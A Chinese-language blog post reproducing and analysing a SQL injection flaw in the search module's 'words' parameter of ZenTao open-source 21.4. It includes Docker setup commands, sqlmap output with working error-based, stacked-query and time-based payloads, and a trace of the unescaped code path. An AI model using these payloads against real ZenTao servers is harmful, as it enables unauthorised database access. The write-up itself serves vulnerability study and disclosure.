禅道开源版21.4search模块的wordssql注入漏洞

前言

最近在网上看到了相关漏洞,最近也闲来无事,想着跟着来复现一下。

影响版本

<=21.4(禅道开源版最新版)

漏洞复现

环境搭建

1
2
3
dockerpulleasysoft/zentao:21.4
mkdirzentao21.4&&cdzentao21.4
dockerrun-d-v./data:/data-p8082:80-eMYSQL_INTERNAL=true-eREDIS_INTERNAL=trueeasysoft/zentao:21.4

登录进后台首页后,在右下角的搜索输入框里随便输入,然后访问搜索结果

正常显示没有问题

image-20250219224103682

在word处加入单引号出现报错

image-20250219223918669

发现存在sql注入漏洞,

image-20250219232555804

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmapresumedthefollowinginjectionpoint(s)fromstoredsession:
---
Parameter:words(GET)
Type:error-based
Title:MySQL>=5.0ANDerror-based-WHERE,HAVING,ORDERBYorGROUPBYclause(FLOOR)
Payload:m=search&f=index&words=123')AND(SELECT3130FROM(SELECTCOUNT(*),CONCAT(0x71706b7a71,(SELECT(ELT(3130=3130,1))),0x71767a6271,FLOOR(RAND(0)*2))xFROMINFORMATION_SCHEMA.PLUGINSGROUPBYx)a)--MVpb&type=all&zin=1

Type:stackedqueries
Title:MySQL>=5.0.12stackedqueries(comment)
Payload:m=search&f=index&words=123');SELECTSLEEP(5)#&type=all&zin=1

Type:time-basedblind
Title:MySQL>=5.0.12ANDtime-basedblind(querySLEEP)
Payload:m=search&f=index&words=123')AND(SELECT8906FROM(SELECT(SLEEP(5)))IOqD)--iMjp&type=all&zin=1
---

漏洞分析

根据报错查找相关文件

1
#3module/search/control.php(359):searchModel->getList('123'','all',Object(pager))

根据报错点查看module/search/control.php文件搜索words找到index方法

image-20250219230557214

发现search模块的words参数通过get和post传入,没经过任何过滤就传给getlist处理

追踪getlist

image-20250219231220306

其就在module/search/model.php中实现

image-20250219231513078

image-20250219231539532

传进去的参数会经过getsqlparams函数处理后,$againstCond和$likeCondition会被拼进sql语句

image-20250219231637366

继续跟进

调用module/search/tao.php中的getSqlParams函数来处理words

image-20250219231905859

image-20250219233656375可以看到keywords没有经过任何过滤或者转义,againstCond的拼接过程中,words被直接添加到查询条件中,没有进行任何过滤或转义处理。如果$word是单引号’,它会被包含在+运算符和双引号内导致生成的SQL查询语句不正确。likeCondition直接将$keywords插入到SQL查询中没有进行任何过滤或转义处理,如果$keywords包含特殊字符(如单引号等),会导致生成的SQL查询语句不正确,从而产生SQL注入漏洞。

借鉴文章:https://mrxn.net/jswz/zentao-search-words-sqli.html